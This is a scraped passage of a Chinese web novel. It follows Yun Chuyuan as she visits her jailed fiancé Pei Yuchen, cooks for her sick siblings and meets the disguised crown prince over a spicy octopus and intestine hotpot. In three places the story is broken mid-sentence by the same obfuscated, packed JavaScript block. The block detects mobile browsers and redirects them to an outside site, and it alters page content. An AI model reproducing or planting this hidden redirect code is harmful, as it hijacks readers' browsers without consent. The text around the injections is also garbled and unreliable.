裴昱臣装模作样地想了片刻,轻声说道:“要是有人能喂我就好了。” “青竹在外面,要不要我把他叫进来?” 裴昱臣面色纠结:“不可,万一惊动狱卒怎么办?” “那你想谁喂你啊?”云楚沅好整以暇地看着他,等着这人主动开口。 “咳,我想我未来娘子喂我。”裴昱臣食指弯曲抵了抵嘴唇,脸颊微微泛红,眼神躲闪,表情不好意思中带着一点羞涩和拘谨。 “好吧,阿昱的未来娘子阿沅在这呢。”云楚沅举起手,俏皮地眨了眨眼。 她一只手拿起筷子夹了金黄的虾球缓缓递到裴昱臣的,另一只手拖在下方防止东西掉下来,“啊~张嘴。” 红着脸的裴昱臣嘴唇抖动着微微张开,轻轻咬了一小口。 云楚沅见状将虾球又往前怼了怼,小书生的红唇被蹭上一层油后显得亮晶晶的,“你是大家闺秀吗?吃东西就咬这么一点点。” 坳不过她的裴昱臣无奈地张大嘴将整个虾球塞进嘴里,腮帮子鼓鼓的,看起来憨憨的,完全没有他平日里清俊的模样。 “噗嗤!”云楚沅捂住嘴笑了起来,“这样才对嘛,阿昱,好不好吃呀~” 两人一和好如初,云楚沅就控制不住地捉弄他,这已经成为了她人生的一大乐趣,几天看不见小书生吃瘪,云楚沅就心痒难耐。 裴昱臣咀嚼了半天,艰难地将嘴里面的食物咽了下去,勉强挤出一个笑容,“你做的东西都好吃。” 心上人如此调皮能怎么办呢?当然是宠着她了。 看着云楚沅的一颦一笑,裴昱臣无奈又宠溺地笑着摇了摇头,她每一次稀奇古怪的举动,在他眼里都是灵动的表现,他愿意这么纵容她。 喂完裴昱臣用膳后,云楚沅想起来这次来探望他的目的,她要好好吹嘘一下自己的丰功伟绩,让裴昱臣知道她都为他做了什么。 “你都不知道这两日我有多忙,天天求爷爷告奶奶的找帮手,为了筹集捐款,我腿都快跑断了。还好我前段时日在赏花宴上结识了不少心善的夫人和小姐,她们拿出不少私房钱帮忙救济灾民。”云楚沅挺起胸膛,表情里满是炫耀。 裴昱臣摸了摸她的头:“阿沅,辛苦你了,我待在这里什么事都做不了,麻烦你为我奔波了。” 瞧着男人愧疚的眼神,云楚沅不自在地晃了晃身子,“哎呀,咱俩谁跟谁啊,就算你个没良心的想和我撇清关系,我也不会对你见死不救的。” 裴昱臣伸出胳膊搂住云楚沅的肩膀,让她依偎在自己的怀里,大手温柔地抚摸着她披散着的秀发,“有妻如此,夫复何求?” 云楚沅轻轻拍了下他的胸膛,“不要脸。”然后她又将手覆盖在裴昱臣揽住她的手背上,“哼,这个时候你的胳膊倒是好了。” 从前害羞腼腆的小书生一去不复返了,现在的他不仅脸皮变厚了,而且都学会占便宜了。 裴昱臣轻咳一声,连忙转移了话题,“阿沅,继续讲你做的事吧。” 云楚沅接着从刚才提到的筹集捐款说起:“我让人立了一块功德碑,你猜怎么着?许多商人要脸面呢,他们一看没有自己的名字,那可坐不住了,全都主动提出要捐银子,而且这些富商的攀比心特别强,功德牌是按照捐的银子多少排序的,他们没人想排在后面。” 说到这里的云楚沅缩着肩膀,身子笑得一颤一颤的,像只偷腥的小老鼠。 激将法任何时候都是管用的,原本一毛不拔的吝啬商人纷纷出钱,为了个排名顺序争的急头白脸。 不管他们如何,反正云楚沅是高兴了,灾民们是有救了。 捐款明细如此透明,全扬州城的百姓都看在眼里,谁家捐的多谁家捐的少一目了然,声誉的影响力是相当大的,往后买东西便有了倾向,大家肯定都更加青睐口碑好的商家。 “我们阿沅真聪慧。”裴昱臣毫不吝啬自己的赞美,“你比许多男子强多了,要是换我来,我可能也想不出这么好的主意。” 被夸上天的云楚沅都快要膨胀了,她抬起头轻轻撞了一下裴昱臣的下巴,拱了拱鼻子,得意洋洋地说道:“有我这个小机灵在,能帮你解决不少麻烦事。” “当然,在临海县我就已经领教过了。” 裴昱臣现在都还记得当初云楚沅毛遂自荐提出修路致富时熠熠生辉的眼眸,那时候他就清楚地知道此女子不同凡响,他何其有幸能与她相识相知。 云楚沅从裴昱臣的怀里起身:“时候不早了,我该回去了。” 裴昱臣依依不舍地看着她:“嗯,一路小心,别被姚承志的人发现了。” 姚承志还不知道他和云楚沅的关系,要是让那个衣冠禽兽知道了,保不齐会耍阴招对她这个弱女子下手。 云楚沅往外走的时候看见了牢房里的草席和破褥子,突然看向裴昱臣,他只穿了一身单衣,方才她窝在他的怀里暖烘烘的,根本没注意到御寒的问题。 “阿昱,你晚上睡觉冷不冷啊。”云楚沅心疼地摸了摸裴昱臣的臂膀,这两日夜晚温度极低,他怎么忍受得了啊? “没事,习武之人不惧严寒,从前我经常在雪天里练剑。” 云楚沅搂住他的腰再次感受了一下,这人还真是一个行走的暖炉,那以后冬天和他一起睡岂不是舒服极了? 浮想联翩的云楚沅没注意到自己把心里话说了出来,被男人的猛咳声唤回神后,还不明所以地关心道:“怎么了,是不是感染风寒了?方才你不还信誓旦旦地保证你不怕冷吗?” “无……无事,我只是不小心呛到了。”裴昱臣闹了个大红脸,侧过身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16292454|177545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去回避云楚沅,她的孟浪之言一直在他的脑海里盘旋。 云楚沅松了口气,等裴昱臣平复下来后,再次与他告别,“我走了,你好好养伤,出去后我会叫青竹给你送一床棉被来,以防万一。” 裴昱臣点点头,没再拒绝她的好意。 云楚沅快走出大牢时,正好碰上在门口探头探脑的青竹,她往外头看了看,并未看见其他人的身影,“狱卒呢?” 青竹接过云楚沅手里的食盒:“我塞了些银子,让他们出去下馆子去了。” 云楚沅点了点头:“青竹,回头你去拿两床被褥给你们家大人送去,之后我不方便再来了,省得被姚大人的人发现。” 这次进来就差点被人发现了,云楚沅不会拿自己的安全开玩笑,姚承志对裴昱臣恨得牙痒痒,私下里动用私刑,可见此人心胸狭隘,要是被他知道自己是裴昱臣未过门的娘子,他什么龌龊事做不出来? 枯树在风雪中瑟瑟发抖,发出“呜呜”的声响,云楚沅回到小院里没看见小弟和小妹的身影,走进他们的房间一看,两人正蜷缩在床上不停咳嗽。 云楚沅心急如焚地走过去,俩个孩子脸蛋通红,她伸手一摸能感觉到他们额头发热,“怎么回事?我出门前你们不还好好的吗?” 云楚河心虚地看了云楚沅一眼,小声说道:“阿姐,对不起,我带着小妹在外头玩了会雪。” 听了这话,云楚沅气得想打他的屁股,“你这皮小子,真是不让我省心!我是不是一早嘱咐过你,照顾好妹妹,不要瞎跑!” 云楚清无精打采地说道:“阿姐,你别骂哥哥了,都是我的错,是我想要雪人……” 云楚沅立马请了大夫来,给他们开了治风寒的药,亲自煎好端来喂他们喝。 她这一天,喂了个大的,回来还要喂两个小的,一个个让她有操不完的心。 云楚河哼哼唧唧地说道:“阿姐,好苦呀,我不想喝了。” 云楚沅瞪了他一眼:“苦也得喝,都是你自找的。” 看着弟弟妹妹愁眉苦脸的样子,云楚沅放软了声音,“乖,喝完我去给你们做蒜香蛤蜊鸡汤。” 两个人登时来了精神,立马“咕噜咕噜”将药灌进了嘴里。 云楚沅去厨房烧了一锅开水,把吐过沙的蛤蜊倒进去焯水,待蛤蜊的外壳微微张开后捞出来备用。 接着切了几片生姜,剥了几瓣蒜,连带处理好的整鸡、蛤蜊和香菇全部放进砂锅里小火慢炖。 等汤熬得差不多时,简单加点盐调味,嫩绿的葱花撒在金黄透亮的汤汁上做点缀,云楚沅盛了两碗蒜香蛤蜊鸡汤后端进了屋里。 云楚河迷迷糊糊地睁开眼睛,闻到那股诱人的香味忍不住咽了咽口水,“阿姐,好香呀……” 云楚沅小心翼翼地端到床边,喂给小弟和小妹一人一勺,“慢点喝,小心烫。” 云楚河咂摸着嘴回味:“阿姐,这汤真好喝啊,我想一直染风寒。” 云楚沅敲了敲他的脑袋:“尽说胡话,信不信下次我不管你了。” “嘿嘿,阿姐才不会呢!” 90. 辣章鱼肥肠锅 一碗热气腾腾的蒜香蛤蜊鸡汤下肚后,两个孩子的脸色明显好转了许多。 云楚河伸出舌头舔了舔嘴角的油花,满足地摸了摸肚子,“阿姐,我感觉好多了。” 云楚清抱着空碗不肯撒手,埋着脑袋舔着里面残留的汤,“太好喝了,我感觉身子一下子就好了!” 看着他们恢复活力的模样,云楚沅悬着的心终于落了下来,“你们不难受了,当然是药效起来了,难不成我炖的汤还能治病不成?” 云楚沅用帕子给他们擦了擦油乎乎的嘴和爪子,又换了块温热的湿布子给他们擦拭捂出来的汗,“再躺一会吧,发发汗就好了。” 云楚河趴在床沿,探头看着云楚沅蹲在地上洗帕子,出声询问:“阿姐,裴大哥如何了?他有没有在牢里吃苦?” “唉,别提了,今儿我去,竟然发现那位姚大人对裴昱臣私下用刑,可把我给气坏了。”云楚沅搓揉手帕的力道不由加重,仿佛那姚承志正在她手里被任意揉圆搓扁。 “什么,这个姓姚的狗官太坏了!”云楚河愤怒地拍了拍身上盖着的被子,气呼呼地瞪大了眼,裴大哥可是他未来的姐夫,打坏了可怎么办! “裴大哥好可怜啊,阿姐你能把他救出来吗?”乖乖躺着的云楚清皱着小眉头,两只手紧紧攥住胸前的被子,表情十分忧虑。 云楚沅将帕子拧干,站起身来说道:“好啦,赶紧睡吧,这不是你们两个小孩子该操心的事,相信阿姐,肯定能把裴大人从牢里救出来的。” 扬州城的灾民及时得到了救助,没有造成太大的人员伤亡,裴昱臣早晚能从里面出来,现在不过是时间问题。 姚承志一天在此地逗留,他们两边便要多僵持一日,毕竟姓姚的需要找个人为他贪污赈灾款背锅,如今裴昱臣的声望太高,不允许他随意栽赃,等他找到新的替罪羊后,才能回京交差。 虽说裴昱臣没什么生命之危,但云楚沅心里还是希望他能少受点罪,早点从牢里面出来。 况且姚承志一日不走,她便要躲着一日,这对于刚刚有了亲密接触的男女来说,多少有些难耐,云楚沅现在做什么事都会走神,动不动就会想起两人之间的吻,控制不住地傻笑起来。 她的异样引起了小弟怀疑的眼神,病好了从床上下来的云楚河悄悄询问云楚沅是不是移情别恋了?要不然裴大哥还在受苦受难呢她怎么会笑的这么开心? 一脸尴尬的云楚沅没办法吐露真正的原因,只好随口敷衍他营救裴昱臣的事有了进展。 孟合舟收到了京城来的信,他邀请云楚沅一起查看,从袭老先生和严指挥使的回信中,他们多少能够判断出京中动向。 老皇帝已经不再上朝,姚丞相的党羽小动作频频,四处拉拢举棋不定的中立官员,但还是有不少坚定的保皇党不为所动,他们坚决拥护太子。 严指挥使的信里让他们放宽心,稍稍提到太子正在韬光养晦,姚家得意不了多久了。 孟合舟和云楚沅齐齐松了口气,看来眼下的情况还不算糟糕,他们能做的只有等待,等姚承志离开扬州,等姚丞相垮台,他们相信等待的时日不会太久。 小弟和小妹感染风寒一事给云楚沅提了个醒,灾民们现在住的临时搭建的茅草屋太过简陋,漏风严重,她得派人给他们多送些棉被和煤炭御寒。 云楚沅带着物资来到灾民聚集地,照样以裴昱臣的名义关怀众人,甚至亲自熬姜汤为他们驱寒,把灾民们感动的稀里哗啦、涕泗横流。 “呜呜,裴夫人,你们夫妻二人真是大好人啊,自掏腰包捐粮食、捐棉被,帮助我们共度难关,太谢谢你们了!” “唉,可怜了裴大人,蒙受冤屈,被狗官关进了大牢,我们现在日日去州署抗议,可却无人理会。” “裴夫人,我们一定会帮你伸张正义的,那个姓姚的我见一次打一次!” “你别冲动,姚大人有那么多随从,哪能让你近身,我们准备联名上书,让朝廷还裴大人一个清白,孟大人已经答应了,他会帮我们将联名文书呈上去。” 云楚沅听到这话,不由瞪圆了眼,孟合舟还真是闷声干大事啊,号召百姓们联名上书的事绝对有他的手笔,上次见面这人竟然没跟她提过。 “多谢大家的好意,我感激不尽,等雪灾过去后,你们没法返乡的人可以去云记找我,我会想办法给你们安排个活计做的。” 云楚沅笑眯眯地给出承诺,为了救灾她可以说是散尽家财,等天气好起来后她要施展拳脚在扬州干一番大事业。 江南水乡,湖泊众多,凡是有水的地方,都被权贵们瓜分得一清二楚,划分鱼塘用来养淡水鱼,渔民们每月要向豪强上缴三成渔获作为水租,光凭水租他们就赚了个盆满钵满。 雪灾让不少有鱼塘的富商损失惨重,他们有人想要将名下的水域卖出去,云楚沅拜托宋明轩先出银子帮她拿下,等到天气暖和起来后,她会用质量上乘的鱼苗作为交换,帮宋家的鱼塘先一步收获。 云楚沅计划在扬州开一家特色鱼饭馆,烤鱼、蒸鱼、烧鱼、煎鱼、煮鱼、炸鱼……专门做各式各样的美味鱼肉。 云记海味坊的海鲜和货物堆积了不少,云楚沅回程路过的时候多带了几筐海鲜回去,仓库堆积的东西根本卖不完,她只好拿回家吃。 “云姑娘,方才宋家的小厮来传信,说宋小姐邀请您明日到府上一聚。” 云楚沅刚回到家,青竹便告知了她这件事,“好,我知道了,你把这些海鲜放到膳房去,顺便挑出一些出来,我明日带去宋家。” 这几日,云楚沅为了裴昱臣和救济灾民的事忙的不可开交,已经许久没见过宋明雅了,想来她也在留意着自己的行动,见她今日有空探望灾民,便知道她这是不忙了。 次日,云楚沅独自一人乘马车赶往宋家,小弟和小妹身体刚好,她不想让他们外出吹风,勒令他们两人留在了家里。 云楚沅下了马车,才发现宋家门口还停着一辆低调却难掩奢华的马车,看样子宋家今日除了她以外还有其他客人。 云楚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16297764|177545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沅跟着宋明雅的贴身丫鬟小翠往府里走去,她敏锐地察觉到今日的宋家有些许不同,院中廊下的积雪被打扫的十分干净,却没看见多少下人的身影,整个宋家比她前几次来的时候安静了许多。 “小翠,你们府上是来了贵客吗?”云楚沅好奇地发问,这来的客人不像是一般人啊,扬州城还有比宋家更富贵的人家吗? 小翠压低了声音:“回云小姐,是我们已逝的夫人的远房亲戚来访。” 云楚沅若有所思地点了点头,她之前听宋明雅提过一嘴,她的母亲是京城落魄了的官宦人家的小姐,那宋夫人的远房亲戚想必是京中人士。 想到这里,云楚沅不免有些讶异,大雪封路,这人从京城千里迢迢赶过来,应当花费了不少时间。 “云姐姐,我终于把你给盼来了!多日不见,我好想你呀!” 一个圆滚滚的白团子颠颠地朝着云楚沅奔了过来,一把冲进她的怀里搂住了她的腰,云楚沅被强烈的冲击力撞的后退了数步,还好有小翠在旁边搀扶,她们两个才没有栽倒。 “哎哟,我的腰!明雅你这是天天待在家里吃了些什么,怎么圆润了这么多?” 云楚沅上下打量着穿着毛绒棉服的女子,可能是这衣服显胖的原因,宋明雅的腰线消失的无影无踪,整个人像是个可爱的大白团子,胖乎乎的。 宋明雅鼓了鼓腮帮子,婴儿肥的小脸显得更加肉嘟嘟,“哼,我爹爹和哥哥拘着我不让我出门,在家除了吃就是睡,当然容易胖了!” 宋明雅挽着云楚沅的手臂将她迎进院子里,一路上喋喋不休地诉说着自己对她的思念。 “云姐姐,我有次都想偷偷溜出去找你,结果被兄长拦下了,他告诉我你忙着裴大人的事,让我不要去给你添乱,所以我一直忍到了现在。” 云楚沅好笑地看着宋明雅委屈的样子,嘴撅的都能挂油壶了,她轻抚着她的后背说道:“抱歉,明雅,阿昱的事确实比较紧急,我要帮他安抚灾民,实在抽不出空来找你。” “我懂的,云姐姐,我分得清孰轻孰重。” “明雅,我待会做道好菜补偿你。”云楚沅让身后的青竹将手里提着的东西拿了过来,“今早出门我正好遇上猪肉铺开门,肉和排骨没抢到,只剩下了点猪下水让我买下来了。” 宋明雅捏着鼻子,好奇地观察白花花的猪大肠,“云姐姐,好臭啊,这东西能吃吗?”身为富家千金她从来没吃过猪下水,难免对云楚沅的话有些怀疑。 “你就瞧好吧!” 云楚沅直接让下人在院子里烧炉子,将章鱼和大肠用面粉搓洗去除杂质和黏液,然后切成小块。 天这么冷当然要吃点辣的暖和暖和身子,云楚沅往锅里倒了许多茱萸炒出红汁,将葱姜、配菜、章鱼、大肠码得整整齐齐,再加入花椒、八角、酱油、豆酱等调料小火慢炖。 章鱼的肉质慢慢收缩,肥肠吸收了茱萸和香料的味道,饱满又入味,热气升腾,模糊了众人的视线,但辣章鱼肥肠锅的香味挥之不去。 91. 太子殿下 宋府正厅,宋明轩和宋老爷坐在下首,恭恭敬敬地与端坐在主位上的身着玄色劲装、头戴玉冠的年轻男子说话。 此人面容坚毅,目光沉稳而锐利,双手搭在扶手上轻轻叩击,虽然打扮得并不华丽,周身却有一股浑然天成的贵气。 “太子殿下,初次见面,草民斗胆唤您一声表哥。”宋明轩的眼神十分复杂,任谁也不会想到京城里缠绵病榻的太子会突然出现在江南。 宋明轩的母亲魏氏是废皇后同宗的表妹,魏家获罪后皇后被废,太子的地位一落千丈,这才让姚贵妃和二皇子起了势。 主家获罪,旁支沉寂,魏氏女的婚事在京中无人问津,只能远嫁,宋老爷这才有机会娶到书香门第出身的魏小姐。 魏氏嫁到江南算是和京城断了联系,宋家人根本没和魏家人见过面,更别提宋明轩和太子是八竿子打不着的关系。 太子骤然到访,宋老爷摸不清他的想法,试探着开口:“太子殿下,不知您大驾光临所为何事?有什么是草民能帮的上的?” 各种念头在他的脑海里百转千回,太子怎么会想起关系甚远的宋家?莫不是听说江南难得一遇的雪灾,想来体察灾情? 燕景琰捏住茶盏边缘,动作优雅从容,轻轻抿了一口热茶,驱散了身上的寒气,面容稍缓,“表姨夫,表弟,不必拘束,我这次来有事相商。” 一人之下万人之上的太子竟然如此亲切地称呼他们,宋家父子有些受宠若惊。 “太子殿下,愿闻其详。” 燕景琰想起朝堂的糟心事,忍不住揉了揉发胀的太阳穴,“想必你们也对我当下的处境有所耳闻,京中支持我的人不多,所以我想拉拢淮南王助我一臂之力。” 淮南王燕嬴飞年轻时征战过沙场,颇有威信,年纪大了回到封地安稳度日,但手里仍掌握着一万兵马,燕景琰看中的就是这个。 京营中的杨统领带着一万士兵已经投靠了姚丞相,一旦发生宫变,单靠严指挥使带领的五千锦衣卫怕是难以抵抗。 京营中剩下的军队需要靠老皇帝亲自调配,现在他昏迷不醒,燕景琰只能另辟蹊径,寻求藩王的帮助。 燕景琰之所以选择淮南王是因为此人对权势没什么兴趣,要不然这皇位也轮不到他父皇来坐,燕嬴飞此人钟爱黄白之物,想要请他出手,那就得掏银子。 “咳,事情就是这样,我需要几万两黄金,事成之后,孤绝对不会亏待你们宋家的。”堂堂太子出口讨要银子实在是拉不下脸,燕景琰脸皮有些发烫。 宋老爷和宋明轩互相对视一眼,面面相觑,他们怎么也没想到太子殿下是为了要钱来的。 宋明轩尴尬地挠了挠脸颊:“表哥,前些时日我们家刚捐出去一笔银子,可能……也许……没办法一下子拿出这么多金子。” 而且他们的大部分家产放在各地的钱庄,调动起来要费不少工夫。 燕景琰大手一挥:“没关系,淮南王允了孤可以赊账,你可以慢慢筹备。” 话都说到这个份上了,宋明轩除了答应也只能答应,他在心里不断安慰自己,就当是在太子身上下注了,将来太子荣登大宝,他们宋家定会水涨船高。 经此一事,燕景琰也意识到了银子的重要性,他以往吃穿用度样样金贵,根本没将金银珠宝放在眼中,直到他开始招兵买马、拉拢朝臣时才发现,有钱能使鬼推磨,势单力薄的太子哪里比得上贪赃受贿的姚丞相。 “表弟,你对商贾之道颇有钻研,可否教一教我?” 太子装病期间也有经营生意的想法,他命令亲信暗中接管了许多盐矿铁矿,机会难得,他跟宋家父子商议起了江南的盐铁生意。 突然一阵浓香随着穿堂风飘进了大厅,那味道十分霸道,带着海鲜的鲜甜和香料的独特气味,直往人的鼻子里钻。 燕景琰忍不住抽动鼻翼:“这是什么味儿?怎么这么香?” 宋明轩想了想,指着隔壁庭院说道:“回表哥,我妹妹明雅邀请了云小姐上门做客,想必是她们在捣鼓吃食呢。” 两名女子的笑声从墙头若隐若现地传来,如银铃般清脆悦耳。 燕景琰来了兴趣:“正好快到用午膳的时候了,请她们一起来正厅吃吧。” 宋明轩了然,太子殿下这是闻着香味馋了,他吩咐下人去将小姐和云楚沅请来,特意叮嘱把她们两人做的吃食一并端上来。 宋老爷摸着长须笑眯眯地说道:“太子殿下,您有所不知,这位云姑娘可是个奇女子,她对商贾之道的钻研不亚于我们父子。” 燕景琰讶异地睁大了眼:“哦?还有这样的事?” 能得到宋老爷如此夸赞,想必这女子并非像寻常女子那般掌管几间胭脂水粉铺那样简单,她一定有过人之处。 宋老爷滔滔不绝地讲起了云楚沅的事迹,从她如何带领小渔村的村民发家,到她帮着临海县的县令大兴土木,再到她组建商队来江南做生意,这一桩桩一件件的事放在任何人身上都能让人惊叹不已,更别说是个小女子。 燕景琰听着宋老爷的讲述,嘴巴越长越大,这世上竟有如此能耐的女子,是个人物,他很想与她结识一番,最好能收入麾下。 宋老爷见太子殿下的神色,立马明白了他的心思,宋老爷装模作样地长叹一口气,摇着头说道:“唉,可惜云姑娘最近遇上了些麻烦事,我却无力帮她啊……” 燕景琰一听这话,眼睛一亮,雪中送炭是拉拢人心的绝佳方法,他赞赏地看了宋老爷一眼,这位表姨夫很上道啊,都懂得如何帮他招揽人才。 “说来听听,这位云姑娘遇上何事了?可是有什么冤屈?本太子会为她做主的。” “太子殿下,您有所不知,云姑娘乃是扬州知州裴昱臣未过门的娘子,裴大人刚上任就碰上了百年难遇的雪灾,朝廷派来的姚大人非说裴知州贪了赈灾的银子,把他关押起来,城中的百姓都闹翻天了。” 燕景琰若有所思:“裴昱臣……可是那位自请离京的裴状元?袭老先生的小弟子?” “正是。” 燕景琰恍然大悟,裴状元可是京城里响当当的人物,他是头一个明目张胆拒绝姚丞相拉拢的官员,燕景 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16311552|177545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 琰一直想与他见上一面,却碍于他府邸周围遍布姚党的眼线,不好直接约见裴状元,这样不是帮他,而是害了他。 裴昱臣只是拒绝姚丞相,那还能说是独善其身,不愿卷入朝堂纷争,他要是转头和太子扯上了关系,必定会被姚丞相除之而后快。 燕景琰没想到会在这里听到裴状元的消息,裴昱臣升迁的事是老皇帝没倒下之前让严指挥使安排的,没在朝堂上传开。 无心插柳柳成荫,他们能在这里相遇,何尝不是一种缘分呢! 燕景琰神情激动地说道:“裴状元刚正不阿、为人清廉,他肯定是被冤枉的,本太子绝对不会让这种冤假错案发生。” 想到他不好亲自出面,燕景琰喊来暗卫,从腰间取出一块腰牌递给他,“你去将林知府请来,让他来负责贪污赈灾银一事,顺便带人去姚承志名下的别院搜一搜,找到他藏起来的银子和粮食。” 燕景琰稍微一想,就能明白这其中暗藏的玄机,不愧是姚家人的做派,走到哪里贪到哪里,当真是无法无天! 宋老爷微微一笑,深藏功与名,他这两头牵线,既可以帮云丫头和裴大人解决困局,又能在太子面前落个好名声,岂不是两全其美。 —— “小姐,少爷请您和云小姐一起去正厅用膳。” 宋明雅眼巴巴地看着云楚沅将锅子从火炉上端下来,刚准备让小翠给她盛一碗,就被突然进来的下人打断了。 “兄长和爹爹不是在接待客人吗?叫我们去做什么?”宋明雅的脸上满是疑惑。 早些时候爹爹还派人来叮嘱她不要出院子,免得冲撞了贵人,怎么现在又主动叫她过去? 小厮的视线落在火红的锅子上,小声说道:“少爷让您把做好的吃食一块端过去。” 宋明雅无语地翻了个白眼,感情是闻到味找上来的啊。 云楚沅忍不住轻笑一声:“这位客人鼻子可真灵。” 小厮的脑门冒出了冷汗,连忙躬身说道:“云小姐,待会您千万别这么说话,得罪了贵客,我们老爷也保不住你呀。” 云楚沅微微一愣,不就是一句玩笑话,用得着这么上纲上线吗?看来这位客人大有来头。 云楚沅点了点头:“我晓得了。” 一走进正厅,云楚沅就看到圆桌上摆满了精致的美食,宋明轩和宋老爷坐在一左一右,和主位上的男子保持着不近的距离。 看到她们两人进来,宋老爷笑眯眯地说道:“明雅,这是你景琰表哥,快过来问安。” 宋明雅对这个从来没听说过的表哥很是好奇,打量了两眼,被男人身上冷峻的气质镇住了,她屈膝行了一礼,规规矩矩地说道:“表哥好。” 男子镇定地点了点头,没有说话,他的眼神若有似无地落在旁边亭亭玉立的女子身上,带着点探究。 云楚沅装作没发现对方的目光,同样行礼,“景公子好,小女云楚沅。” “嗯。”这次男人倒是有了回应,但仍旧惜字如金。 云楚沅始终面带微笑,并未因男子的冷漠而慌乱。 92. 真香 燕景琰手里把玩着茶盏,表面上板着一张严肃的脸,其实是在暗中打量这位云小姐,他的眼底闪过一抹赞赏。 眼前的女子目视前方,不卑不亢,完全没有寻常女子见到陌生男子的羞涩和难为情,被他如此具有威慑力的眼神盯着也丝毫不露怯。 就这初见一面的功夫,燕景琰对云楚沅的评价相当之高,宋家人所言不虚,这女子果真与众不同。 正厅里静悄悄的,燕景琰不开口也没人敢说话,宋明轩不动声色地分辨着太子殿下的表情,暗暗思忖他的意思。 燕景琰紧绷的脸上突然露出一丝笑意,原本刻意营造出的冷脸霎时间碎了个彻底,他清了清嗓子朗声说道:“云小姐请坐,听表姨夫和表哥说你做吃食的手艺特别出众,我很想见识一下。” 云楚沅入座时看了看宋老爷和宋明轩,他们两人一个笑得意味深长,一个不停对他使眼色,云楚沅多少看出来了,这顿饭不是简单的吃吃喝喝,这位贵客是冲她来的。 不管这人有什么目的,云楚沅打定主意以静制动,装出一副端庄有礼的模样,只要对方不开口提要求,她就两耳不闻窗外事,老老实实吃饭。 “咳咳,明雅,还不为你表哥介绍一下你们做的吃食是什么?”宋老爷见气氛有些尴尬,主动点了宋明雅的名。 宋明雅察觉到爹爹和兄长今日不太对劲,隐约意识到这位景琰表哥来历不凡,她收回黏在吃食上的视线,微微动了动身子,正襟危坐,“表哥,这是云姐姐做的辣章鱼肥肠锅,虽然用了猪下水,但云姐姐都处理干净了,保证没有怪味!” “咳咳咳……”宋老爷老脸涨得通红,他一听到这道菜的用料有猪下水,顿时就后悔叫她们两个过来了。 这叫什么事啊!太子殿下平日里食不厌精、脍不厌细,如今屈尊降贵来到他们宋家,怎么能吃这种腌臜物,传出去岂不是要叫人耻笑。 “太……景琰啊,你千里迢迢来到我们江南,想必还没尝过这里的特色菜,你瞧,这烧鹅、狮子头、九丝汤……这些都是我特意请富春楼的老师傅做的,你快尝尝。” 宋老爷嘴角抖动着,脸上的笑都快挂不住了,他将桌上摆盘精致的菜肴往燕景琰的跟前推了推,想要转移太子殿下的视线。 云楚沅忍不住笑了笑,十分配合地将铜锅往自己和宋明雅的方向端过来,省得让贵客食不下咽。 毕竟不是所有人都能接受猪下水的味道,云楚沅能理解,别人不愿吃,她总不能强行安利。 云楚沅和宋明雅关系好,所以才想让她尝试一下,可坐在主位的贵客一看就是个金贵的主儿,要是人家被臭香臭香的肥肠恶心到了,怪罪下来她可担待不起。 章鱼肥肠锅遭受冷遇,宋明雅最开心了,她一点儿都不扭捏,立马抄起筷子夹起一块章鱼须,放进嘴里大口嚼,又挑了块肥肠,耸动着鼻子轻轻嗅了嗅,毫不犹豫塞进了嘴里。 “嗯嗯,好吃的呀,辣中带香,越嚼越有味。”宋明雅眼睛蹭的一下亮了起来,腮帮子不停鼓动,感受着章鱼紧实的口感还有肥肠的焦香软糯。 肥肠被煎过,焦黄的外皮酥酥的,里面的油脂都渗出来了,吃起来非常香,完全没有宋明雅想象中奇怪味道。 宋明轩看着自家妹妹一筷又一筷,吃的不亦乐乎,他忍不住咽了咽口水,有那么好吃吗?他怎么那么不信呢? 心里纠结万分的宋明轩决定亲自品尝一下,他就不信了,一个猪大肠能好吃到哪里去? 宋明轩挪了挪身子,给身后伺候的下人使了个眼色,示意他给自己盛一碗。 趁着太子表哥不注意,宋明轩飞快伸手夹起一块肥肠放进嘴里,先是热辣的冲击,接着是油脂和香料混合的味道占据上风。 浓郁的香料味遮盖住了大肠残存的臭味,柔韧微弹口感很是特别,咬下去的瞬间,油脂爆出来的感觉令人惊喜,红红的汤汁带有一股海鲜的鲜味,让这道菜的滋味又上了一层楼。 继宋明轩之后,宋老爷也按捺不住,偷偷尝了尝,结果便停不下来了,章鱼肥肠锅是道极佳的下酒菜,他杯中的酒消失得很快,没了一杯又再次斟满。 云楚沅见状不由感慨,果然,人们都逃不过真香定律,方才还说肥肠是腌臜物的宋老爷已经吃得满头大汗、满脸通红了,不知是被辣的,还是酒喝多了。 同桌人的动作自然逃不过燕景琰的眼睛,宋明轩和宋老爷尝第一口时他还能装作看不见,但他们后面都不掩饰,只顾着夹那一道菜,剩下的满桌珍馐都留给他一人。 